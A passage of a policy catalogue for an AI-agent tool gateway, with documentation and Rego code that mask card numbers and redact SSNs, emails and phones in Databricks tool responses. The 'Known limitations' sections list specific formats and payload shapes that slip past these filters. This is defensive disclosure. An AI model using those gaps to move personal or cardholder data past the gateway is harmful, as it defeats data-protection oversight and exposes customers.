prebuilt MCP-Services proxy (Slack, GitHub, or Google Drive) and is fenced off unconditionally. Routing those SaaS apps through Databricks would let the lakehouse act as a second-order gateway that bypasses the per-app DTwo policies governing Slack, GitHub, and Google Drive directly. Use the dedicated DTwo MCP server for that app instead. Adding the name to the allowlist does not lift this fence; remove the system.ai proxy from the Databricks MCP surface if you believe this is a false positive.", [normalized_name]) } # Drift-alert reason for any other unknown in-scope tool (not a proxy). reasons contains msg if { is_databricks_tool not is_allowed_databricks_tool not is_system_ai_proxy msg := sprintf("The Databricks tool '%s' is not on the pinned allowlist of audited tool names for this gateway, so it is denied by default. Databricks managed servers expose a fixed set of verbs (genie_ask, genie_poll_response, execute_sql, execute_sql_read_only, poll_sql_result) plus dynamically-named AI Search index tools ({catalog}__{schema}__{index}) and one tool per registered Unity Catalog function whose body can hide arbitrary writes, so an unknown name may be a newly published UC function or a renamed search index that has not been reviewed. If this tool is legitimate, enumerate the workspace's current tool inventory, audit it, and add its exact name to the pinned allowlist in this policy.", [normalized_name]) } reason := joined if { count(reasons) > 0 reason_list := sort([r | some r in reasons]) joined := concat("; ", reason_list) } ``` ### Databricks: Mask Cardholder PANs in Responses URL: https://www.intentbasedpolicy.com/policies/databricks/mask-pan-egress App(s): databricks | Direction: egress | Bundles: soc2, pci-dss, gdpr-ccpa | Package: databricks.egress.mask_pan | Published: 2026-07-12 | Tags: databricks, mask-pan-egress, egress, cardholder-data, dlp, soc2, pci-dss, gdpr-ccpa Source: https://github.com/dtwoai/policy-store/blob/main/apps/databricks/mask-pan-egress/policy.md # databricks / mask-pan-egress **Direction:** egress (`tool_post_invoke`) **Default:** allow (transform-only — never denies) **Package:** `databricks.egress.mask_pan` ## What it does Masks payment-card numbers (PANs) in Databricks tool responses before the agent receives them. Lakehouse tables routinely hold cardholder data, and a PAN surfaces in the *response* payload of the async SQL/Genie poll tools and the free-text AI Search index tools — not in the submit call. This egress policy Luhn-validates every 13-to-19-digit card-shaped candidate in the response and rewrites each confirmed PAN to **BIN-plus-last4**: the first six digits (the issuer BIN) and the last four are kept, and every digit between is replaced with `*`, e.g. `4111 1111 1111 1111` → `411111******1111`. BIN+last4 is the maximum display format PCI DSS permits for personnel without a business need to see the full PAN. Luhn validation keeps the false-positive rate far below a bare digit-length regex: ordinary long numbers (order IDs, row counts, epoch timestamps, join keys) fail the checksum and are left intact, so only numbers that actually satisfy the card-number check digit are masked. The policy never blocks a call. When at least one PAN is found the response content blocks are rewritten via `transformed_payload`; when nothing matches, the `transform` rule is undefined and the response passes through byte-identical. Callers whose `input.subject.claims.groups` contains the documented placeholder group `pci-full-pan` receive unmasked responses. The exemption is fail-closed: a caller with no subject, no claims, no `groups` claim, or a malformed `groups` claim is never exempt and always gets masked output. ## Compliance alignment - **PCI DSS 3.4.1** — supports masking of PAN when displayed: the agent channel shows at most BIN+last4, with full-PAN visibility limited to a defined role (`pci-full-pan`). - **PCI DSS 3.4.2** — supports preventing PAN copy/relocation via remote-access technologies: an agent that only ever receives the masked form of a query result cannot re-post the full PAN into other tools, tickets, notebooks, or files. - **PCI DSS 12.10.7** — supports PAN-where-not-expected incident procedures: a PAN returned from an unexpected lakehouse column is a classic trigger, and the gateway's decision/transform audit events for this policy give the incident process a concrete signal to work from. - **CCPA/CPRA §1798.150** — supports reducing nonredacted-PI breach exposure: card numbers read out of the lakehouse are masked before they reach the agent by default. - **SOC 2 CC6.7** — supports restricting the transmission and movement of information: cardholder PANs read out of the lakehouse are masked to BIN+last4 on the agent channel before they can be moved into other tools, tickets, notebooks, or files. This family also aligns with **ISO/IEC 27001 A.8.11 (data masking)** on the MCP read path, and complements — rather than duplicates — SSN/email/phone redaction (see Composition). ## Tool name matching The policy scopes to the Databricks surfaces that return row/document data in their response, matched case-insensitively on the tool name after normalizing `_` to `-` so both underscore (as the servers publish them) and hyphenated (as some gateways deliver them) forms match. The tool name is resolved from `input.resource.name` (PARC), then `input.tool_metadata.name`, then `input.payload.name` — all three carry the same value on `tool_post_invoke`, and taking whichever is populated keeps the scope check from failing open on a gateway that omits `resource.name` on egress (the pre-PARC path). The surfaces: - **`poll_sql_result`** — the managed Databricks SQL server's async result tool. The `execute_sql` / `execute_sql_read_only` submit calls return only a statement handle; the row data egresses here, so this is the tool to mask (verified name — Databricks docs + community article). - **`genie_poll_response`** — the Genie One (Beta) async answer tool. Genie answers are grounded in Unity Catalog data, so this is the natural-language exfiltration path for the same tables (verified name — Databricks docs). - **`execute_sql_query`** — the community `RafaelCartenet/mcp-databricks-server` synchronous SQL passthrough, which returns rows directly in its own response (verified name — that server's source). - **AI Search index tools** — the managed AI Search server exposes one tool per index, named dynamically `{CATALOG}__{SCHEMA}__{INDEX_NAME}` with a **double underscore** between segments. These indexes frequently hold support tickets and documents with free-text card numbers. Because the exact names are per-deployment (the double-underscore scheme is documented but the concrete names are not), the policy matches any tool whose name contains `__` as an AI Search index tool. The DTwo gateway prefixes tool names with the configured MCP server name (e.g. `databricks-sql-poll_sql_result`), and that prefix is not standardized — suffix matching on the fixed verbs and the `__` signature for AI Search keep the policy portable. Verify the exact names your gateway sends with the dump-input debug technique before relying on this in production. Deliberately **out of scope:** `execute_sql` / `execute_sql_read_only` (managed) return a handle, not data; `genie_ask` and the SQL submit tools are ingress-side; metadata tools (`describe_uc_table`, `list_uc_catalogs`, `list_clusters`, …) do not return card data. ## Patterns matched Conservative, anchored PAN shapes only — each is commented in the Rego, and every candidate must additionally pass the Luhn check before it is masked: - 16-digit PANs grouped 4-4-4-4 with space or dash separators (Visa/Mastercard/Discover print format). - 15-digit American Express PANs grouped 4-6-5, constrained to the 34/37 IIN range. - Unseparated 13-19-digit runs (the ISO/IEC 7812 PAN length range) — the dominant shape for a PAN stored in a lakehouse column and serialized into a SQL result. Runs of 20+ digits never match: there is no word boundary inside a digit run, so a longer identifier is never partially masked. ## Response shape Egress tool output arrives as content blocks in `input.payload.text` (an array; entries are typically strings of plain text, markdown, or serialized JSON — a `poll_sql_result` result set is a JSON string block). The policy scans each string block, replaces every Luhn-valid match with its own BIN+last4 form, and emits `transform.transformed_payload` with the original payload's `text` replaced by the masked blocks. Non-string blocks pass through unmodified. Because matching is string-level, PANs are masked wherever they appear — result rows, Genie answer prose, AI Search snippets — without parsing each tool's specific JSON shape. ## Examples ### Transformed (masked) ```jsonc { "input": { "action": "tool_post_invoke", "mode": "output", "resource": { "name": "databricks-sql-poll_sql_result", "type": "tool" }, "payload": { "name": "databricks-sql-poll_sql_result", "text": ["{\"rows\":[[\"acct-889\",\"4111 1111 1111 1111\"]]}"] }, "subject": { "sub": "google-apps|casey@acme.com", "claims": { "groups": ["support"] } } } } ``` `allow = true`; the agent sees the row with `411111******1111`. ### Allowed unmasked (exempt group) ```jsonc { "input": { "action": "tool_post_invoke", "mode": "output", "resource": { "name": "databricks-sql-poll_sql_result", "type": "tool" }, "payload": { "name": "databricks-sql-poll_sql_result", "text": ["{\"rows\":[[\"acct-889\",\"4111111111111111\"]]}"] }, "subject": { "sub": "google-apps|pci-analyst@acme.com", "claims": { "groups": ["pci-full-pan"] } } } } ``` `allow = true`, no transform — the caller is in the `pci-full-pan` group. ### Passthrough (no PAN) A Luhn-invalid digit run (a row count, an epoch timestamp, an order number) produces no transform; the response is returned byte-identical. ## Composition One policy, one job. This policy masks **cardholder PANs only**; it is designed to run alongside — not merge with — the other Databricks egress family: - [`redact-pii-egress`](../redact-pii-egress/policy.md) (egress) handles SSN, email, and phone. Keeping PAN separate lets the two families use different exemption groups (PCI full-PAN role vs. a privacy role) and independent tuning. Attach both to the same egress direction for round-trip coverage. - [`guard-warehouse-sql`](../guard-warehouse-sql/policy.md) (ingress) blocks DML/DDL and forces read-only SQL; this policy masks card data in the results of the reads you do allow. - A `default-deny-unknown-tools` (PF-28) ingress policy is recommended alongside AI Search / UC-function deployments, since those tool names are dynamic. ## Known limitations - **Luhn-valid non-card numbers are masked too.** The Luhn check eliminates most row counts, timestamps, and IDs, but some non-card identifiers (certain IMEIs and other checksummed numbers) are Luhn-valid and will be masked. The masked form keeps first-six/last-four, so such false positives usually stay recognizable. - **Obfuscated PANs are missed.** Card numbers with separators other than space/dash (dots, unicode spaces), split across lines or content blocks, spelled out in words, or base64-encoded do not match. Card numbers typed with non-ASCII digits (e.g. Unicode fullwidth) also do not match: the RE2 `\d` class is ASCII-only. Grouped formats other than 4-4-4-4 and Amex 4-6-5 match only in their unseparated form. - **A PAN glued directly to a word character is missed.** Every pattern is `\b`-anchored, and the underscore counts as a word character in RE2, so a digit run immediately preceded or followed by a letter, digit, or underscore with no separator (e.g. `acct_4111111111111111`) has no word boundary and is not masked. This is the deliberate cost of the same `\b` anchoring that stops a 20+-digit identifier from being partially masked. The same applies to a **grouped** PAN with a stray digit glued to its first or last group (e.g. `4000 0000 0000 00021` or `94000 0000 0000 0002`): the grouped pattern's leading/trailing `\b` fails, and the single-space separators break the run below the 13-contiguous-digit floor of the unseparated pattern, so the whole PAN-shaped string passes through unmasked. - **The `__` AI-Search signature also matches non-index tools whose gateway server name contains `__`.** The AI Search branch puts any tool whose resolved name contains a double underscore in scope. If you name an MCP server with a `__` in it (e.g. `my__srv`), even its metadata/SQL tools (`list_clusters`, `execute_sql`, …) are pulled into scope and their responses are scanned and masked. This is over-masking, not a leak — the policy only ever masks Luhn-valid card shapes and never denies — but it can surprise. Avoid `__` in gateway server names, or pin the concrete AI Search tool names and drop the `__` heuristic if the collateral scanning is unwanted. - **Adjacent digit groups can shadow a grouped PAN.** In pathological sequences like `1234 5678 4111 1111 1111 1111`, the leftmost 4-4-4-4 window is consumed first (and fails Luhn), so the real PAN inside it is not matched. Unseparated PANs are unaffected. - **Substring collisions between two detected PANs.** Replacements are applied per distinct matched string in unspecified order; if one detected PAN is a literal substring of another in the same block (both Luhn-valid), more than BIN+last4 of the longer one can remain visible. Middle digits of every match still get masked. - **Structured (non-string) content blocks and non-array `text` are not masked — fail-open.** The policy scans and rewrites only string entries of `input.payload.text`, and only when `text` is a JSON array. A PAN carried inside a content block delivered as a JSON *object*, or a `payload.text` delivered as a bare string, passes through unmasked. In the DTwo egress shape observed to date tool output arrives as an array of *string* blocks, and serialized JSON inside a string block **is** scanned; only native object shapes and non-array `text` evade it. Confirm your gateway/server delivers string blocks with the dump-input technique before relying on this. - **The synchronous community `execute_sql` is not covered.** This policy matches `execute_sql_query` (RafaelCartenet) but not the `JustTryAI` server's synchronous `execute_sql`, to avoid colliding with the managed `execute_sql` submit tool (which returns only a handle). If you run the JustTryAI server, add its `execute_sql` suffix to `content_tool_suffixes`. - **The Genie Space (GA) single-invoke tool is not covered.** Only Genie *One* (Beta) is masked, via its async `genie_poll_response` egress tool. The GA-track Genie *Space* server (`/api/2.0/mcp/genie/{space_id}`) exposes a single synchronous invoke tool that returns the Unity-Catalog-grounded answer inline in its own response — but its name is **not published**, does not end in `poll-sql-result` / `genie-poll-response` / `execute-sql-query`, and carries no `__` signature, so it is out of scope and its responses pass through **unmasked**. Because it is GA (Genie One is still Beta), it is the more likely production surface. Do not assume "Genie is covered": once you learn the concrete tool name for your space with the dump-input technique, add its suffix to `content_tool_suffixes`, and run the `default-deny-unknown-tools` (PF-28) companion (see Composition) so a new or unpinned Genie/AI-Search tool is denied rather than silently leaking. - **Egress masking only.** The full card number still exists in the lakehouse and in the Databricks UI; this policy controls what the *agent* sees on the MCP path. - **Tool names are partly unverified.** `poll_sql_result`, `genie_poll_response`, and `execute_sql_query` are verified from the landscape research; the AI Search per-index tool name is **not published** (the double-underscore scheme is documented but the concrete name is per-deployment), so the `__` match is a heuristic — verify with dump-input. - **Group names are placeholders** — replace `pci-full-pan` with your IdP's group name at import time. The exemption reads `input.subject.claims.groups` and requires it to be an **array** of strings; every other shape (string, object, number, null, or missing) fails closed to masked output. Confirm your IdP emits a `groups` claim as a string array for your tenant before relying on the exemption. > **Compliance note.** This policy supports alignment with the cited framework controls **on the MCP path only**. No policy or bundle makes an organization compliant with any framework; web-UI, native-API, and in-app access are outside the gateway's reach by design. Validate against your own compliance program before relying on it. ```rego package databricks.egress.mask_pan # Transform-only policy — never denies, only masks Luhn-valid card numbers in # Databricks result/answer/search responses to BIN+last4. default allow := true # ----------------------------------------------------------------------------- # Tool matching — Databricks surfaces that return row/document data in their # response. The gateway prefixes tool names with the configured server name, so # we match on the suffix to stay portable. Suffixes are hyphenated; the incoming # name is normalized `_` -> `-` first so both `poll_sql_result` and # `poll-sql-result` deliveries match. # ----------------------------------------------------------------------------- content_tool_suffixes := [ # Managed Databricks SQL server: async result of execute_sql* (data egresses # here, not in the submit call). "poll-sql-result", # Genie One (Beta): async NL->SQL answer payload. "genie-poll-response", # Community RafaelCartenet/mcp-databricks-server: synchronous SQL passthrough # that returns rows directly in its own response. "execute-sql-query", ] # The egress tool name can arrive under resource.name (PARC), tool_metadata.name # (the legacy egress-only source), or payload.name — all three carry the same # value. Collect every populated form (lowercased) so a gateway that does not # populate resource.name on egress (the pre-PARC path) still scopes correctly # instead of failing open and masking nothing. tool_name_candidates := [lower(raw) | some raw in [ object.get(object.get(input, "resource", {}), "name", ""), object.get(object.get(input, "tool_metadata", {}), "name", ""), object.get(object.get(input, "payload", {}), "name", ""), ] raw != "" ] # Suffixes are hyphenated; each candidate is normalized `_` -> `-` before the # suffix compare so both `poll_sql_result` and `poll-sql-result` deliveries match. is_in_scope_tool if { some cand in tool_name_candidates some suffix in content_tool_suffixes endswith(replace(cand, "_", "-"), suffix) } # AI Search index tools are named dynamically `{CATALOG}__{SCHEMA}__{INDEX_NAME}` # with a double underscore between segments. The concrete names are # per-deployment, so we match any tool whose name carries that `__` signature. is_in_scope_tool if { some cand in tool_name_candidates contains(cand, "__") } # ----------------------------------------------------------------------------- # PAN candidate shapes — anchored with \b word boundaries so digit runs inside # longer identifiers are never partially matched. Every candidate must also pass # the Luhn check below before it is masked. # ----------------------------------------------------------------------------- pan_pattern := concat("|", [ # 16-digit PANs grouped 4-4-4-4 with space or dash separators # (Visa / Mastercard / Discover print format, e.g. 4111 1111 1111 1111). `\b\d{4}[ -]\d{4}[ -]\d{4}[ -]\d{4}\b`, # 15-digit American Express PANs grouped 4-6-5 with space or dash separators, # constrained to the 34/37 IIN range (e.g. 3782 822463 10005). `\b3[47]\d{2}[ -]\d{6}[ -]\d{5}\b`, # Unseparated 13-19 digit runs — the ISO/IEC 7812 PAN length range. Runs of # 20+ digits never match: there is no word boundary inside a digit run, so # this cannot partially mask a longer identifier. `\b\d{13,19}\b`, ]) # ----------------------------------------------------------------------------- # Luhn check — filters card-shaped candidates so timestamps, order numbers, row # counts, and other digit runs that merely look like PANs are left alone. # ----------------------------------------------------------------------------- digits_only(s) := regex.replace(s, `[^0-9]`, "") luhn_contribution(d, parity) := d if { parity == 0 } luhn_contribution(d, parity) := 2 * d if { parity == 1 (2 * d) < 10 } luhn_contribution(d, parity) := (2 * d) - 9 if { parity == 1 (2 * d) >= 10 } luhn_valid(digits) if { chars := split(digits, "") n := count(chars) total := sum([v | some i, c in chars v := luhn_contribution(to_number(c), (n - 1 - i) % 2) ]) total % 10 == 0 } # All card-shaped substrings of t that pass the Luhn check. pan_candidates(t) := {c | some c in regex.find_n(pan_pattern, t, -1) luhn_valid(digits_only(c)) } # ----------------------------------------------------------------------------- # Masking — each match is rewritten to BIN+last4: first six digits (issuer BIN) # and last four kept, everything between masked with `*`. Separators are dropped # in the masked form (e.g. `4111 1111 1111 1111` -> `411111******1111`). # ----------------------------------------------------------------------------- mask_pan(c) := masked if { d := digits_only(c) n := count(d) masked := concat("", [ substring(d, 0, 6), # Replace every middle digit with `*` (RE2 has no repeat builtin, so we # mask the middle substring char-by-char instead of building a `*` run). regex.replace(substring(d, 6, n - 10), `\d`, "*"), substring(d, n - 4, 4), ]) } # Rewrite every Luhn-valid candidate in a string block to its masked form. mask_block(b) := out if { is_string(b) replacements := {c: mask_pan(c) | some c in pan_candidates(b)} count(replacements) > 0 out := strings.replace_n(replacements, b) } mask_block(b) := b if { is_string(b) count(pan_candidates(b)) == 0 } # Non-string content blocks (structured/JSON object blocks) pass through # unmodified. mask_block(b) := b if { not is_string(b) } # ----------------------------------------------------------------------------- # Full-PAN exemption — callers in the placeholder group see unmasked content. # Fail-closed: missing subject, missing claims, missing groups, or a malformed # groups claim all leave this rule undefined, so masking applies. The is_array # guard is load-bearing: without it a groups claim shaped as an object (e.g. # {"role":"pci-full-pan"}) would iterate its *values* and match, granting the # exemption to a caller who never held the group in an array. Requiring an array # keeps every non-array shape (string, object, number, null) fail-closed. # Replace "pci-full-pan" with your IdP's group name at import time. # ----------------------------------------------------------------------------- caller_may_view_full_pan if { claims := object.get(object.get(input, "subject", {}), "claims", {}) groups := object.get(claims, "groups", []) is_array(groups) some group in groups group == "pci-full-pan" } # ----------------------------------------------------------------------------- # Transform — emitted only when in scope, the caller is not exempt, and at least # one block actually changed. Otherwise the rule is undefined and the aggregator # skips this policy, returning the response byte-identical. # ----------------------------------------------------------------------------- text_blocks := object.get(input.payload, "text", []) masked_blocks := [out | some block in text_blocks out := mask_block(block) ] transform := { "transformed_payload": object.union(input.payload, {"text": masked_blocks}), } if { input.mode == "output" is_in_scope_tool not caller_may_view_full_pan is_array(text_blocks) masked_blocks != text_blocks } ``` ### Databricks: Redact PII in Tool Responses URL: https://www.intentbasedpolicy.com/policies/databricks/redact-pii-egress App(s): databricks | Direction: egress | Bundles: soc2, hipaa, gdpr-ccpa | Package: databricks.egress.redact_pii | Published: 2026-07-12 | Tags: databricks, redact-pii, pii, dlp, redaction, egress, soc2, hipaa, gdpr-ccpa Source: https://github.com/dtwoai/policy-store/blob/main/apps/databricks/redact-pii-egress/policy.md # databricks / redact-pii-egress **Direction:** egress (`tool_post_invoke`) **Default:** allow (transform-only — never denies) **Package:** `databricks.egress.redact_pii` ## What it does Scans the response payloads of the Databricks MCP tools that carry lakehouse data *back to the agent* and rewrites personally identifiable information to fixed redaction tokens before the response is delivered: | Class | Detection | Token | |---|---|---| | US SSN | canonical hyphenated `XXX-XX-XXXX` form | `[REDACTED-SSN]` | | Email address | RFC-shaped `local@domain.tld`, word-boundary anchored | `[REDACTED-EMAIL]` | | US phone number | separator-formatted (e.g. `206-555-0100`, `(206) 555-0100`, `+1 206.555.0100`) | `[REDACTED-PHONE]` | Matches are replaced in place, leaving the surrounding row/column structure intact so the agent still gets a usable result set with only the sensitive values masked. The policy is transform-only: it never denies a call, so a legitimate query, Genie question, or index search still succeeds — it just comes back with SSN, email, and phone values masked. Responses with no matches (and all out-of-scope tools) pass through byte-identical. Every response field is read via `object.get`, so a missing or oddly-shaped payload is never an error — it simply passes through. ### Why these tools — the egress surface, not the submit call Databricks' SQL and Genie tools are **async pairs**: the submit call (`execute_sql`, `genie_ask`) returns only a statement/conversation handle, and the lakehouse rows arrive later through the **poll** response. So this policy deliberately targets the surfaces where data actually egresses: - **`poll_sql_result`** — the managed Databricks SQL server's async result tool (the rows land here, not in `execute_sql`). - **`genie_poll_response`** — the Genie One server's natural-language answer, grounded in Unity Catalog data. - **`execute_sql_query`** — the community `RafaelCartenet/mcp-databricks-server` **synchronous** SQL passthrough, which returns rows directly in one call. - **AI Search index tools** — the managed AI Search server's dynamic `{CATALOG}__{SCHEMA}__{INDEX}` (double-underscore) tools, whose vector indexes routinely hold support tickets and free-text documents laced with PII. This pairs with the ingress SQL/schema guards by design: **ingress limits what can be asked** (DML/DDL denial, schema fencing), **egress limits what actually leaks back** through the async poll and search surfaces. A read the ingress guard permits can still surface a regulated identifier in its rows — this is the layer that catches it. ### Group exemption Redaction is gated by IdP group. Callers whose `groups` claim contains `data-privacy` (a placeholder name — see Known limitations) receive **unredacted** responses. The check reads `input.subject.claims.groups` via `object.get` chains: a missing subject, missing claims, or missing `groups` claim means the caller is *not* exempt and redaction applies — the grant fails closed. This failure mode is safe: a caller whose claims fail to arrive gets over-redaction, never disclosure. ## Compliance alignment - **HIPAA §164.502(b) / §164.514(d)** — supports minimum-necessary, role-based limits: only placeholder `data-privacy` group members see raw identifiers in lakehouse reads; everyone else gets a working result set with identifiers masked. - **HIPAA §164.514(a)–(b)** — supports de-identification practice by stripping Safe-Harbor identifier classes (SSN, email, phone) from responses; **§164.530(c)** — supports privacy safeguards on the agent channel. - **GDPR Art. 5(1)(c)** — data minimisation on agent reads of personal data from the lakehouse; **Art. 9** — reduces special-category exposure on the MCP path where identifiers co-occur with health/HR columns or free-text support tickets; **Art. 5(1)(f) / Art. 32** — supports security of processing. - **CCPA/CPRA §1798.121** — supports limiting the use and disclosure of sensitive personal information (SSN) on the agent channel; **§1798.150** — reduces nonredacted-PI breach exposure. - **SOC 2 CC6.7** — supports restricting the transmission and movement of information: SSN, email, and phone values in lakehouse reads are redacted on the agent channel before they leave through the async poll and search responses. ## Why egress The PII already lives in the lakehouse — there is nothing to block at ingress on the read path, and denying the query or Genie question outright would make the agent useless for everyday analytics work. The leak happens when the rows or index hits are returned to the MCP client, so the response path is the only place to catch it while keeping the result useful. Ingress SQL guarding (DML/DDL/export denial, schema fencing) is a separate concern handled by companion policies (see Composition). ## Tool name matching Applies on the output path (`input.mode == "output"`) to the data-returning Databricks tools, matched case-insensitively from `input.resource.name` with `input.tool_metadata.name` as a fallback (egress hooks may populate either). Two matching strategies are combined: - **Fixed snake_case verbs — matched by suffix** (the gateway prefixes tool names with the configured MCP server name, which is not standardised): - `poll_sql_result` — managed SQL async result (verified) - `genie_poll_response` — Genie One NL answer (verified) - `execute_sql_query` — community synchronous SQL passthrough (verified) - **Dynamic AI Search / UC-function tools — matched by shape.** Managed AI Search indexes (and UC function tools) are named `{CATALOG}__{SCHEMA}__{NAME}` with **double-underscore** delimiters. The policy matches any tool name that splits into **three or more** segments on `__` (i.e. contains at least two `__` delimiters). This is disjoint from the single-underscore fixed verbs above, so the two strategies never collide. Verify the exact names your gateway emits with the dump-input debug technique before relying on this in production. ## Response shape The policy reads `input.payload.text` — the MCP content-block array the gateway populates on `tool_post_invoke` — and rewrites each string block (including string blocks containing serialized JSON row data, since the regexes run over the serialized text). Non-string blocks pass through unmodified. When at least one block changes, the policy emits `transform.transformed_payload` containing the original payload with the rewritten `text` array (all other payload keys preserved). When nothing changes, no transform is emitted and the response passes through byte-identical. ## Examples ### Redacted (in-scope poll tool, non-exempt caller) ```jsonc { "input": { "action": "tool_post_invoke", "mode": "output", "resource": { "name": "databricks-poll_sql_result", "type": "tool" }, "subject": { "sub": "auth0|u1", "claims": { "groups": ["analysts"] } }, "payload": { "name": "databricks-poll_sql_result", "text": ["cust 42 | ssn 123-45-6789 | jane@acme.com | 206-555-0100"] } } } ``` `allow = true`, with `transform.transformed_payload.text` = `["cust 42 | ssn [REDACTED-SSN] | [REDACTED-EMAIL] | [REDACTED-PHONE]"]`. ### Redacted (AI Search index — support ticket free-text) ```jsonc { "input": { "action": "tool_post_invoke", "mode": "output", "resource": { "name": "databricks-support__tickets__ticket_index", "type": "tool" }, "payload": { "name": "databricks-support__tickets__ticket_index", "text": ["Ticket #88: reach the customer at jane@acme.com"] } } } ``` `allow = true`, with the email rewritten to `[REDACTED-EMAIL]`. ### Passed through (exempt caller) ```jsonc { "input": { "action": "tool_post_invoke", "mode": "output", "resource": { "name": "databricks-genie_poll_response", "type": "tool" }, "subject": { "sub": "auth0|u2", "claims": { "groups": ["data-privacy"] } }, "payload": { "name": "databricks-genie_poll_response", "text": ["The record lists SSN 123-45-6789"] } } } ``` `allow = true`, no `transform` — the `data-privacy` group receives raw content. ## Composition Single-purpose transform policy (`default allow := true`); it composes cleanly with deny/transform policies on the same egress pipeline. Recommended companions for `apps/databricks`: - **`mask-pan-egress` (PF-01)** — cardholder PAN masking (Luhn-validated, mask to BIN+last4) is intentionally **left to that companion policy** and is not handled here, so each policy stays single-purpose. Attach both for cardholder-data environments. - A **`guard-warehouse-sql`-style ingress deny** (PF-07) that blocks DML/DDL, `GRANT`/`REVOKE`, and export constructs in the SQL argument — so data redacted on read cannot be bulk-exported around the gateway instead. - A **sensitive-schema fence** (PF-23) on `execute_sql*` / `describe_uc_table` that limits *what can be asked* — the ingress half of this defense-in-depth pair. - A **`default-deny-unknown-tools`-style ingress allowlist** (PF-28) — the managed AI Search and UC-function tool names are dynamic and drift; a default-deny allowlist stops a newly-added result surface from silently reaching the agent unredacted. ## Known limitations - **Cardholder PAN is out of scope.** PAN detection/masking is deliberately delegated to the companion `mask-pan-egress` (PF-01) policy; this policy does not attempt Luhn validation or card masking. A Luhn-valid PAN in a result passes through untouched here. - **The single-space Genie server's tool name is unverified and not matched.** The landscape note records that the Genie Space (GA) server exposes a single Genie-invoke tool whose wire name **was not published in any verifiable doc**. Only Genie One's verified `genie_poll_response` is matched; if your deployment uses a Genie Space server, confirm its poll/answer tool name with the dump-input technique and add it to `fixed_result_suffixes`. - **The community `JustTryAI` synchronous `execute_sql` is not matched.** Its name shares the `execute_sql` stem with the managed *submit* tool (which egresses no data), so it is excluded to avoid firing on the submit surface. Only the community `execute_sql_query` (RafaelCartenet) synchronous passthrough is matched. If you run the `JustTryAI` server, pin its `execute_sql` in `fixed_result_suffixes`. - **Double-underscore matching also covers UC-function tools.** UC function tools share the `{CATALOG}__{SCHEMA}__{NAME}` shape with AI Search indexes, so their responses are redacted too. On egress this is safe over-application (redacting PII from a function's output never leaks), not a defect — but be aware the policy is not AI-Search-exclusive. A tool name with only a *single* `__` is not matched (it does not fit the three-segment dynamic shape). - **Managed AI Search / UC tool names are dynamic — pair with a default-deny allowlist.** Because these names are per-index/per-function and can change, a `default-deny-unknown-tools` allowlist (PF-28) is the right backstop so an unmatched result surface cannot silently leak. - **Pattern-based detection is best-effort and conservative by design.** SSNs are matched in the canonical hyphenated form only — bare 9-digit runs collide with row IDs and sequence values, and dot- or space-separated forms (`123.45.6789`, `123 45 6789`) are not matched; phones only in separator-formatted US shapes (`(206)555-0100` with no space after the parenthesis, tab-separated forms, and bare 10-digit runs are not matched); emails only when word-boundary anchored. Obfuscated, split-across-cells, spelled-out, full-width/unicode-digit, or non-US-formatted values are not caught. Treat this as a high-signal minimum-necessary layer, not a complete DLP solution. - **Characters glued directly to a value defeat the word-boundary anchors (red-team residual).** The SSN and phone patterns are `\b`-anchored, so a value with an extra digit or letter adjacent and no delimiter escapes detection: `123-45-67890` (SSN trailing digit), `id00123-45-6789` / `acct123-45-6789` (SSN leading digits/letters), `206-555-01000` (phone trailing digit), and — symmetrically — `1206-555-0100` / `id206-555-0100` (phone **leading** digit/letter glued to the area code) all pass through **unredacted**. This is a deliberate trade-off — dropping the anchors would emit partial redactions such as `[REDACTED-SSN]0` (which still leaks the extra digit) and fire false positives on longer numeric IDs. Where result columns concatenate identifiers without delimiters, rely on Unity Catalog column masking or a stricter companion policy rather than this egress backstop. - **The email pattern can over-match inside connection strings.** A `user:password@host.example.com` substring in a returned DSN/connection string matches the email shape and is redacted. On egress this is over-redaction (safe), not disclosure, but it can obscure legitimate non-email content — tune `email_pattern` if your result sets routinely contain such strings. - **Only `input.payload.text` is scanned — structured payload keys leak (red-team residual).** Redaction applies to string entries of `input.payload.text` (including serialized-JSON strings) and leaves non-string entries *within* that array unmodified — **including MCP object content blocks of the form `{"type":"text","text":"…"}`**: because such a block is an object, not a bare string, `redact_block` returns it as-is and any PII in its inner `text` field passes through **unredacted**. This policy assumes the gateway's documented egress shape — a flat array of plain strings (skill dump-input contract) — and does not descend into object blocks; if your gateway version delivers object content blocks instead of flattened strings, confirm the shape with the dump-input technique and treat this layer as inactive (pair with a PF-28 allowlist) until it emits a string array. It does **not** reach any other payload key: if your gateway delivers Databricks rows in a top-level `structuredContent` (or similar `structured_content` / `content` / `data`) object rather than as strings in `text`, the identifiers in that object pass through **unredacted** — an SSN in `payload.structuredContent.rows[…]` is not caught. The policy deliberately reads only the documented egress field (`payload.text`) rather than guessing at an undocumented structured shape and emitting a malformed rewrite. Verify where your gateway version actually places tabular Databricks results with the dump-input technique before relying on this layer, and pair it with a `default-deny-unknown-tools` allowlist (PF-28) so a result surface whose payload shape this policy cannot read is not silently reaching the agent. - **Group names are placeholders — replace `data-privacy` with your IdP's group name at import time.** The exemption expects the `groups` claim as an array of strings (a single bare string is also handled); if your IdP emits roles under a namespaced claim, adjust `caller_groups`. Missing claims always mean redaction applies — the failure mode is over-redaction, not disclosure. Never rely on stripped ContextForge-internal claims (`is_admin`, `teams`, `user`) for the exemption. - **Egress `transformed_payload` replaces the response payload wholesale.** Verify the rewrite against your gateway version with the dump-input technique before production, and mind attachment order if other egress transforms (e.g. `mask-pan-egress`) run on the same pipeline. > **Compliance note.** This policy supports alignment with the cited framework controls **on the MCP path only**. No policy or bundle makes an organization compliant with any framework; web-UI, native-API, and in-app access are outside the gateway's reach by design. Validate against your own compliance program before relying on it. ```rego package databricks.egress.redact_pii # Transform-only egress policy: rewrites SSN, email, and phone patterns in the # responses of the Databricks tools that carry lakehouse data back to the agent # (managed SQL async result `poll_sql_result`, Genie One answer # `genie_poll_response`, community synchronous `execute_sql_query`, and the # dynamic AI Search `{CATALOG}__{SCHEMA}__{INDEX}` tools) to fixed redaction # tokens before the response reaches the agent. Never denies — a legitimate # query, Genie question, or search still succeeds, just with sensitive values # masked. It pairs with the ingress SQL/schema guards: ingress limits what can be # asked, egress limits what actually leaks back through the async poll and search # surfaces. Callers in the placeholder `data-privacy` IdP group receive # unredacted responses; the group check fails closed, so a caller with missing # claims gets over-redaction, never disclosure. Cardholder PAN masking is left to # the companion mask-pan-egress (PF-01) policy. default allow := true # ----------------------------------------------------------------------------- # Scope: the data-returning Databricks tools. The gateway prefixes tool names # with the configured MCP server name (not standardised), so we match by suffix, # case-insensitively. Data egresses in the POLL / synchronous-result responses, # NOT in the submit call (`execute_sql`, `genie_ask`), which return only 